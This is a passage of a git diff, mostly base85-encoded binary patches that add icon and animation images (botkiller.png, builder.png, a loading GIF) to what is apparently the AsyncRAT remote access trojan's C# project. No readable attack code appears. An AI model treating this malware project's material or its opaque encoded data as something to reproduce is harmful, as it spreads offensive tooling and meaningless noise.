zWfN?LA{QH;ek9YyVq8Zu6}F{_^3N`!JVWy+U6w#?yhKtfW{Y=3rvhrMzVVdjH%UK| zbf)Y{0}>wBAQ&&f7%8ZZr*?f-rl-Ys!%*4d+kn}TF?wo6vl%8R9MpBk#e%e89O&Wr zKh#{zc6J~fX=lA%T@K`64VXEra^J4DK%%2VWc`%cIhW;hRWyQoBy^UOa0>fDA|*hm z4!)By?IdboibTC#B%8?`5 z0#&S)L0rQ6!R$B|PW9zl*m5>PW<5REmmAMkve6PPwbWqY{vewm(JST}HI1!hL5a#B zOJk3+I*G24XbZbdqFxd`&z5p(rgLO{+Ag+93LB*GEqU@6$E+DKc=Z1fzQ;yk+fbw< ztjSSuXj%7C3;UeCCd*w|{1#pY_>LWvs5yhs_v{CWuI)hRDEnEWFH#8o#7=NPc8m9| zlydgF#_(b`l=hTr99%~O41{+@A!F?prCAW{YKgwj(NRZSIeCDN~L~2DN5$&lcns<9I7ITPm$2S70TX;JR z$}~O~gBx#0qJV|v@J4~tegu}Wl_HnlA<;VYa2=8N)7o`2W2iw!GsVLls9YgmEV5W< zTO!M1=h+HDFS3>5*fi68fDNgi@7KP-C98y}!$-7-_X|uNm4RPS_Z-Iw&|5kl04E_Z znExH0vz@UA*ueVXl|(N9TLfkI0N#wX}Hwqz65$f z=^oIO;`c%Al0F#oG17A+ofI<~ZINo94O-y11$3WdeuPenc^c^_?UX;dV!fKSiaqS* z)V;{rCvO{aUQzgoNgGnX&_ov1=6(x7jkL5&;SWeJw-JAnq+K19z6@S+wocL)W2Tw^ zO_k){i^!?RKsWIroC9(8pHxIwJ4t-1y_`KlWNfZ_guo*uNL_ zk@oXJzw#cy4JXaF6{Y@rJaBAKFa1uJZ8K1|4Oxo2Tj>aeGu_f?tE0X7v$@g1e^bmh zRkN;Xx0pQa>O!J3MUmCRUUId!a^`VYfu5!*)Rt-tb&!{A88*(ML;Xk0voPiB(rob0 zmu=r$2ERno*>-A!9e*Ev zOf;A|+nxAzjD|PWlfHwB=$31cqu_Q)Dbru&(X0G4hJ1R|l@rU^{gVFsvQo457u6q9 zNZmn6qr2X{_6NY1!^Rj+1M-T{iO2}70F~M3|F@Z6G-F4ROdJ{!x|e_NfTs8GQ&m^9 z9i?lX)$CX$(Sw;pm!%PXF?p@i&n|RQ`gy({^k);LA5U59^spOaw}N(ydC}})PRDkn zE75H|tk$su>G`(TKo8hXFb_K+=|l};KkJ(RCX|i_^{~@j@8MK%U}l1wv-~Uyub#dy zuN<8BJ!^3ywOZ063DlKpy;HzHqk^P*&ZZ92+^sYGXIWF+L+XD@BU+V1^zIHsc`{K~ zo<^4&Inm@yqK)l|dg6%Mpn6FC>(x`-9@eSD4Ia)WV{Wfz-NhEKA60J!?Pi*d5p*{C zc{!_6Uh#U^3Ngu1&c4DZ@UVGt6r1ki7M~yQ&TREk`m}gTca5)R?zFWU#N{0+Q}CAjVO$YS_xXDgC603~Jq(g6^8L5H~X z(K}6v4wxR&685AKC+Zia?D?pum9m{t-nTc(>CKCM89wk|_g;rU@O~_BL*zYP9>B*W zd+-E~y_ZDW`Egf>W0h&3qpqnqfp0~JT(fy+15wYP!0Awqv{1SE{0tpwfJa>mc-M%K z3Z7{oz2I39*>TrWes%;Mb*{SC%r#X-9G7$Bd^Vpjb&9e0^Kns#s+j&59$aANKoIMoubsDeDqd z?oxKPfiBYuUNDVi=Nj;uf>(it=t$aq85=K=-lCVWNfPNTdKsH$$f!jxXB!Pf4SEGT zY#?gTajab_nZ4ac4LUxmLA50~9EfhwE7@?FmAamfU&&_b1!cor#bW8}muMzxifhY`>b8uv#`nq6Ql``*07pj&kr3QjcFu`N1cOHx;x>)AmAtxnxw zp22)_=F1AJ3~gzG>eTi5H-`y8e3pMYNy$3r-7)Q=0qBX2Hsr8>6a|f zhBWZzGP6VtwwBaa%yXGrBE8Y(vLrpHY_wb0Tis+iIbv>SGv(x>H{l&j+j^F+lqQTY z+aZx|clf007eqP@Rlk6}A#=`>)h}T0OVnW7p1R$#fE_S&lD~Jdv>tj5Xgk<;qY=wcy?g!Y11|qv3Wbx;dQhhkB zibRH*Y4u6Xw3_viIrTWLW&b$=gXlXa!C)z+}dL#T=dHl*M_Wj$Lw zOh-ADEy^Z#z(A(*XOtGE;$7j^LAjZYqocu8++clMzRduifNr(E!#a2^+UEw zM;ZQ?me!^@LHP~n-{e*c8nMPCTr!3hJ(p35>%Ql3)+rNQb zOraq=zkNB*f+`K!Y1TVTpRvw{te3S3sD~lD6?=fs*G%taP>cWg}0S0X48Qn$Q ze5N6zwvXfU3>me39KX|$QPXQ4zQhnx+k5!^x)7~)iQUT&M39ds^TF5YvG~1Yg*}De z8$l1*Q~Bc(HLz#0U$&?7qq+=Qd_04Xy}q^FZhI!*5<&0VvoyX>LcL%+o^*qrwJG@z zdoGV&Q03#~m$7=*6xf-gIHHl;Q5cb}t9Cm|qLANFc9ND#{-Iuj?fLW^MT4j}`jxPKL&45o=c5!cI zoKs)#$%jca%a)M;sp!c^OVnV?%Af4$$;TVAp(xjjPcmdzr1*F*euE*KgTCIIPdCs4 zjDy~Mt&R}U>m7agwrTqP4-2aqj&pe0jZ}RDTV62N(VrI>s4(+k#{k|@qFHRU^# zex-pX01f8%8aadQHadpz-wc_p)Dv?dKQcqt`G_wy=3<^Slh7=tl-_N~j9$%~EKK$v!jYa(+Of8MgTB-aua)vi6wuuHfd`dd_a_Q*i~4m1u^oFPrSRf+rZV zZ52z{IG%3E-l*{LaXinE(PTZImlD$03^`km=N%1UHfH%Nc~=9KV3xm<_m-%Mz2?0z z<|@81f-a8<^6w4wviI_s$=o(an#Mj$t&h2$f373x;8dPISIU6q^QpW>B5f9%jwx{( zKc)*AO_0<0v|DsFjjnrRrtyq4uQztLc2MQIO`V={#)6Xug`k?>1yKUCrPt4B18~ zoypf2vge?4Cf_8{3^ue~KXw!U&_G+1!{R31^;YSUO>1ty!ZeHblCZ&cZ~LWu79U^; z&q?O|Wl}Qpl;)BJL3*~K@{r3 z@8lDuPQ9x)^C=Oe`FJy*r$a2nK90GIufY<91_|x)mhiYc^a|;uXDRP(AUf%}hu0g3 zPI~U;j~j?idY17c1|ol#b2Y4Mp*7-te6)eEM%4HUewP8s-<3T21mk|gLp_N1^XP+! z2l%T-If}&te3wM}TKWOJ7$_@*OJn(iyc>Oo#n`s4<~wy{BbT&?xcN@qHu7l=?_wbG z>0v(EK;+X}zQ#c0(1u~-_3mN-MVSy z?-P8nfymt_x%QR;$=@wJcCnt7{C$e|Fpym5^JxZ>>wLb^KysbW4;x6X^Lf@1T?_g9 z950Ya_xHJzn(2AIOUu!-Qt!qy$*A7FjbkH^kM7epKJ8u|QMcUA*DaGsw&9EXpn=Gz zmv~^gE+dzA@L>ibmtN+#8;D$bg}=01-v74CGq9Z;?^EET55re^je*Fg*Z4#Ok)f~i z8w^AqzRsshqGwa|$DTE@yZH(!oMrpk^C-~6 z2BLoP2H#{9q<--Re^!^te(@$xSV3ktuwOl!WB2fO5%g&6+kCb}dJNy;8y}Jm%Ax%p zx2=`upEP97bH2~Z0LgpmCVTlf15rpn=Jy(iLb{K?Yaj~gejfLTUXDWg3GZzn>Ls7@ zdIM1}Ilvz`5JmJey*p$7C%2!U^REpdh4gd&qeOa0KR>Boe8EphnZ7msf-CE&`dRYm z;S26I5JmJLPc#rk^dJxD2=4m$m;6kLG(BvG_+SYMJsSHJe_SFxY=`-=$E1fcY~S#z z#|bsEi!*)f+mjZT-}1Y3nS8YJE%$AvoK3c`%HMT<%To;WQ~6$?Y>65*+rZqKCk6jE{;MH-u5hpGH*R}YFZXrQA=mFb$v`gxo!}!4 z^mCGS$n^)m*MJ#CE;kc<3^b1qc5v~Dfljb1gb>PBhEEfFfPXJcBE>+n-F+Np5xrTl zhb7O$wnKp z2gq6(8wyk(%8qG8r}(eR?4^EIWXD_&?#5!lJ)7i$cp7AB$-Of%3EFfB*iWT1VBT03#;E_wf(W&0*~oVlH7GKAw1#9Xn|K-a>wT=AfR z=60ACmnYb6y^71c(}8Rf?dPxL&jw1+W$5euSe{TNYGOAeJpoz22-+H_ijlkJ{f~q% z#uc12fQkfvgQ{p^U!=VjS0v&LbW_qtam8YrfwoqE6;~>Ty{YHCsQnLdWun$VKf8a4 zs}NxW{hq-+RbriihH{&yTI>UY|4r77 zA)8Ru$u}Z`?$D~v^x=mA4B;fDX9P6`ZuXt)yEq~n>>K189YKMrVLtq>fl==1s!_g6 zBk1!E6Ma{n6txLrm+pj&+60+Xf1IsN;H{9JOV|47y-xip^-Q^^@DfZ$INWfI{CJ8gw?il{fx;YuI7F1nlsIN%#9sNX725<)go%4V=) zHX!~wu|T3(%;)UKt{3x;P`L(nR%X8K`e>z)C4EP-CiYCA(Q>^QXP{R_qveK^a%xk> z0V$k?ZqkoU6^A8ikPi^1iU)ttt2j_hvUW#x^g+QOF;(m`PbVwxECqb_^Zy3Bo} zSZtuhnS(@~sQF2kb;U%kiEhVq^t5RM#=jVAz}+2hN~k}{wuVzsi_EFVsX-i+h?W$C zM1vT1oRrRD^DFQ2Oc&Qg&;siWvF;aLHVd+u;-v^$V7*Cb*ZfBRgGU3aP5UunmbeS3 zwJBzcjS_{~l;l|dY;jnZu_Z}4{yBpEE_1TWsz>|^+H8qj=&zS*?LL)~>nGI3J;|DMLhaaPw6^FQ86L^XnSG?Sv4P+?}>+tbU#52urK zuB2DwQl6Vr{-+iE7ya7*hYJ2|itZEfpUfe1qaFAWF5$=eog_U7mjvrwfcsxGFtOZJ z@}9DC_FOs9=whU_RW;=_{cTQ)CEj%g6;kKPIis3M`-e7b^X8u$Xh11dlU_zu{`a{ZG12T}P_ypUwJLrf5+;wqFOb=yj+zF%=!n%qF4}kC@A=VvUiap&)U_Fx;*VDSuQa#ye`-I$Dk@2x z-j@H<%2uJ1K z^f@59qqU_??5=#uAI&*m&IHjM%423azh29vR_~5k>Cc5vRz%gC<+$MNw+bqC2-L)G zlT|K|)mRZT!G4hZrE((Ijs7$LF_lKv(Driv|2Hwv^VCO~i(e&!LFAc5_8~1j!f)wH#N;7D>coNpsl6a+%q%EiSK_j%kVylDoxT4 zGaFs>R|Wo?XW!y}C>S+|iBSWYS+Q(Znq34Ni%H2OrDiF$7}69?dU?g)h;^l3$eBRz zN;)T1p^0{k>|A=!|K}$7bDl>qngqT*@h|%SKhI@VIkIKdpcM*@IJ!ZkuXaC+z6epT64p zQO*jtq05``?GV}j|9go3DU5Ai{&V$zTTAr%=Pxp~BO9yb+U8=J-X-UTujIXp{@W$a zE|tSor&^Wt>2IiB_9?M7U@&Bp+r$sHc-uI9?oz5zzv`+tQXrP*u>ip>R=~9DE z4@YfLvgG8GmnQo^E)hTUtp8jYNd-F>x1v^qZo>Q_4CC6$;+GJmW z>E2%%N78B=aj01_|9hn(eTM2F72#Jrk%?u{)Nx$iG#`;F7z`3@1pGF!v%xX5VNuom zh6xxe133+o29wlaHZ z2xf9&j0IXaaD2sxII*B6woT@VmCM&F6EoTM_%_rSd{bgP_poF6srbS@eFZmGeg!vH zeg)SKem|C_$xA$2TwcrK@l~Q}Xk<#K$#grJZYR_6>^^5R_(a=DYL{OxD#vF1Db`); z=_Bbt&^>HD%lCf8H?syj-dfLw_`l+l7`?q2Y?W`K7!Urnq6a8WJ=uv4b3{KQ{hHDQzB^+n^3ZE~{R}Db8<;a| zr5G%8j+E5Se_~7U6Ik?`UO(p6P;9I$FqoZ#N6Uku=xHdTclyRld&f(A2jiK~HsmCw zBW1cDOUh^xWbVtt!^txbC(k@QAFplBVWUdl5jz;YqGabK`Cou@dFf%~Y<28=LGEeC zVB=aP$8;Poq86D7__6#7lZR{RHKqyD-Yh=W)yp)V^$!d%W$~+BLre|KjMy~D2xUoi zV`a|Cl1`HpFLC+qFm>XS%X^qRah`RKd9rk@6JOYIDAMHW1fm))F zvc@4zkDw+?&Sds`sgF;SY4UiYd6J|v4O(8d+B}nGmu)b2=kEL}OF2{8cedE!On1u! zHoZeH%RDx|XartOr@9u)^aOUD>w1f}!mx!Z=+5sbZ$z>B^0l(CkC#KmMDrNlP_@&t zMtU}e->$9{Yowwve6+Px8P8{`OV}D|;u@)Kqs&RM><2zI+!|@bB)&9%snWo@rmPeV zQre*LPZAEWIozF5W1YiaQ@U9jIK8_(M~dh0EL%_OLcU*21?^wd04cr8+`#D_=6SN3 zd9wE`Hqz8T=E1n7@RB;|VpQKGwi$j?*vGS_DL+~l%ign-X~f#W=zXnad~Q`o+bX`$ zd_L$zaTRFTMDzoho(fvdsfU+y>YkH$mHM7-J>OEjSJE$RZ%HHGk{-V$J^m1!iRKSk zd0C~soYQNo<(zu{Zr<2&ntd}rrsX%-cfeO4-qiRueU5!MuMSMJdw9Tqm%V^b#|ybz zd0fd;_O1Lp?*>dN3p;MJQ@^cr5Iw`u!07ErO81d;u%sg#??I;uy2^K%V<9hhO||X^ z2ZLNvJKhdkiE(i(UmJ%X0w5c|gCF1H`_9>A&nWmVXW1VP;wUk89-lMGVMo6`FJ^}v zkUQjnY+w)Ii$sT|$A@LBAC^7funhZQ8TL7>k9TJC;+i zWN|6q>@H`)j1BC1?)N>7XTg{9=Oukf(pN!e^0(aY3BT_>ncgeur;;87)!g5@_d|Nr zy^OzFy;2+(ua~ZJekaiXJ#o0?XT~L)F6+=Cu7N$Dumm?AQ`|Xm$C>6H1o|l(4tgmc z4SEm10(2(7I&QZ(gvYIB^x=LmcO}Nf95JOZ&of7Sgh$fH1uxp`Dlom8SK=u*z0je; zlO@VMk2%ZnA2oJDo>i4yJs$CXrPjmQ$wUF^WXdiZ>gjGelt0ST$8<}@rJjK%cgA>6 zIonZA4Rjac(Z@vbm?OgOPlZR!MSFY1C6d0Isd=agZt{$WHryRJeFK8?6-jqNgDrUp z=nHup*l69v17 zCcqTa+X;ij9Mj~YuRU{2%R0am(`V>Cb4)jSk9roG))#oZS>j1N6{U`r=v`>~0-R;0 zS(%xj*Wta|RnpZ}CYpfPn{G|a^Wy#YfWO$AEUv z=;R#h-2oMHexF({aYXS@gpbb=cPRni95GN?!jjE!hMf9`9C zZk`%nEW3FX*XWzwRh+*2-H6uOfHZx(y8slEhS`L-bvl{n6yF%%$((OqffYbi=FIp$ z<}J!%&@PoL;)k2-N>+m&cdd`7DdlPKAND>UKi=He`EvXmQ~!=1#V<5bZ(nHgcKkH{ zxOkxO5GZEb_;U7$R;eT$7X$s@$2XYo$o3^Pn2U zqAR_23yqiWWMv*pdrY?;%l(*cJ(ky;n-Y*t+yeSk2dtwkADa3xk0o7wKH)g>?*RWb z(=h9C^B(#d3iMQHCK@VtTRTam9?KpR6?39McS{RyNCPd@!^c>z&aCl|u`DP!!{5ie z(Q~$cxa89`bq>-OWe*1bhU%&Qa&{+rQXg|wdV_xwbl&Xm!GBFy1pfON#?)}z{SC5g zKThidZMdwsk9lRs-=Sh5Xg^L1%i)%~B5NWQ7y%A7$7VL$m6+Iw{J0}nPWNXdE=1bL zmx1sC+~d(fPV zpL1Jdu4?9sd8eT{aU<~c@HgF4asJ&GzvWrVo^+pu^z-h1ps%QNu)&PQ&)Z@j3ZuE)pPtj4 zu##V|jd!hd9dTLR4ep!W54ktEe|OvC^5eS3ogH^=+*@%6;{2YTo_U^!JWqQ*^!(!K z?7hHyz4w0aF7JLX_a*pJeYgAW_Kk|49N!rKc>M18WAP{AV-r#m$`U3dEJ#?MuqWY2 zg4JK>zsld_Z}ETOrypBWu+y_*-y4IUQ*$@_?&l@i(-}BO$Il!QjZW`Q#NH9VZGuCa zllakj{twcctoZLL`~R0uzfRSB#sfU0O<@)6I#$VUfV1Y2I*CP;wOHzS=+(E8OkH=DZEX|)C7MH(cf{pmXNyWCirtsU8?i- z9`kZ4#r1@z56)<$2F+0McbQ@;9&_Q{klZbx!xOiH2COfDc23;^`lRV~P_MEF)Gg_^ zQhIg;b=cAjdX}O`?m*IfoG-=Z-2r-A`zFwZ9TtI_#(VE=*}R%JDrkw1_*Xa;+RMMj z==c~^u%rB2(BJrXpuh7UKr_XUkOn|;;wXMbIvZ5rWyRx2w*$pn1L9ZEJn=ggM+Z&$ zSg;>56@eZ$m555#-#kgYlC~l3*|Z8AAk1X9;6JBmVNW#gSkKF~0{2~RCGKsXD?T^A zB7R|f?}Q)yOeBk)IdBNCXX@8-^SAQ)jLgsYR`Ud4#-BIefonJZLXCNnf_aj^XujD;j2-5|xHA5VIUqB> zYJOT?UpIf=!Ng{dH!dc?UJO@k0 z>FUWm{D=|GeNW}Rjl)0u6f+u}uJYqxub`jNr;mP-l>R?L{evK}sm+r%@b*2=V5j4x zsVh$5y5j%0KNEMVKI|N$n3-j?L!9ALc{?g%W?kErFfK~iiI@@=8=G(1l zz!w!;dVR!4S^0#PB?tHvQ*-t~-o539gS^?!%bUI5^UIsB`GL=DzV3T|tmWtre1NI> z>Yw@LEr)*Qe$f*93-9KL%PSu17?&ID|HNYlUy7gc)TEY?X0gf11I=EqxUx7lVB(&J zEKftOr=dUz@N`$Y$sFJ|no*tE8T*B>1o~uOKX*$hOb?u z%G>aremQQj0{kx3Psh(M0h|qNR=oAcKpKvlF{~M-nB8iU!an$ASDplh%WAU;7o2o? zrd#Yu$eCmVX?`wIByvmh`-vh0x7p)~Vl+25k4O?J+}?a`k|=a|+zH<43Bo(w)4VE4 zq{SwP43@!T9g?#f8N1lIkHsRBohNv0COg7rT*;EyIHk3`!Ho^H<|Cc?$s&)ZH}_8# zck|uNhmys9Ma6$e&`{j6J4LJ)*_ihtpA|`h?X0HGt$)6ubf7WIZ`xNa8nb-OZ={PZ a&4G5}NQ)~&{9?fyH!Yra;#=NWX8nJA%pa)$ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/botkiller.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/botkiller.png new file mode 100644 index 0000000000000000000000000000000000000000..8e2f4af0a551c91084a6c7bb4097b924df099eb2 GIT binary patch literal 939 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE0wix1Z>k4UEa{HEjtmSN`?>!lvVtU&J%W50 z7^>757#dm_7=8hT8eT9klo~KFyh>nTu$sZZAYL$MSD+10f+@+{-GzZ+Rj;xUkjGiz z5n0T@z;^_M8K-LVNdpDhOFVsD*&nmWig2?wyPbIk)Kux|;uzv_eC`$RjF57X;~&ra zi29mqDO!u>noqluUem~*Gu30|TEVqHqBOJ?d8|or3^~#&y1Rqx)}@YH3p96dln4rX zM$1cFoFNb(zAxaTqrrlsP1kOuyeoZZQmk%V?o$=^e9r%$|NcF{_xb;S&6KB6TeZIL zU*pq!K{CCi&U|D3hmx;MXVaQ9rCOzGRX^61Oel?N(My}EUh}dkVD(qFqYIhO7T?j9 z^_w+qd(x_?^?x7lsANmi_YHf#^g!rrk>nM+hPQb(22MWUU8;gH2EZ|fJHb(U{*wF-T{Q~K;hNr#;QkuHyRvAadjEH6LCU3;(i*7il$gFD3* zUf3u1BgS<_sd0GO&M6xw?$~d6?8}Ns-H^1VDXEsRo>^t8-?zEutm3nOwLCKTpLp^X zzUripLAmFo6V~%BEp*Lhz4jz_=1cwQJR98-N*ndwUR$Z8KKsL+{H~A}TcRDkE!Ldg z9=TKNzVt)p*`=0uW`8eQeL$bB{P^M?lZf6aYu~ruzghG4mX4?VwIxe$ZJB*PTBhr& z$Ijf@Z{K;W47?-$XaBX;wx2w<27YwSXN-Bee-eY5t35DXs+PD$l%yn}$cBg+s&3oAoID+5z)10yQ~167~*wkR5M^HVa@DsgKF5e#nxYLEok5S*V@ pQl40p%1~Zju9umYU7Va)kgAtols@~NjTBH3gQu&X%Q~loCICwBggyWO literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/builder.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/builder.png new file mode 100644 index 0000000000000000000000000000000000000000..a896b01c2e5ad3bc7faa7b8991d029c360cda1c3 GIT binary patch literal 948 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE0wix1Z>k4UEa{HEjtmSN`?>!lvVtU&J%W50 z7^>757#dm_7=8hT8eT9klo~KFyh>nTu$sZZAYL$MSD+10f+@+{-GzZ+Rj;xUkjGiz z5n0T@z;^_M8K-LVNdpDhOFVsD*&nmWiU?_H&Eu2>YHIRyaSZV|KKH6`Mo72_`-l1R zo*Q;)_R1G7=5_69baQ8Z$0XLZHdy@8uBAtPxqa`7h6{HQJHP+Czw>zz|J!+ye)|M} zzxKTyV}5Y^G8ylElJ~F9-e#I?dOJ}~vi?E5|D=!h+uAMVXMR9pmi--`GsJ%ukiFk->x<1P4wQHvOi<3$xe+9 zp@rE2eE}@-8tf!kd%ezwPXlU~4vilj1-J9PnJ0vf8 z@g=KO%-0izk2~M@b)DBqICwzqe8^u`w>ukV_()xPvpT>l`p)-TGmm6_+Ur+vz;9aV zTFWzW8=EDcO{nMrZ za6TozTgx=~le+gG;tm5cpW zE}8YJq%L0XCFk8|yJjCOzx-99q(3O`hgX+jp}_JKg$g#O^Y4VEz1x@1-;)gx|BmY;{bL$*Dd`gdT-fUn3RV{Ii zC`m~yNwrEYN(E93Mh1qKx&|h?MwTIl7FIxHVyJCkWMyEmGUlBeiiX_$l+3hB+!}5$ zhAjeWkObKfoS#-wo>-L1P+nfHmzkGcoSayYs+V7sKKq@G6i^X^r>mdKI;Vst0FIlJ A%>V!Z literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/circle-loading-gif.gif b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/circle-loading-gif.gif new file mode 100644 index 0000000000000000000000000000000000000000..b045500693633dacae02f145a0961f4081b52caf GIT binary patch literal 245347 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 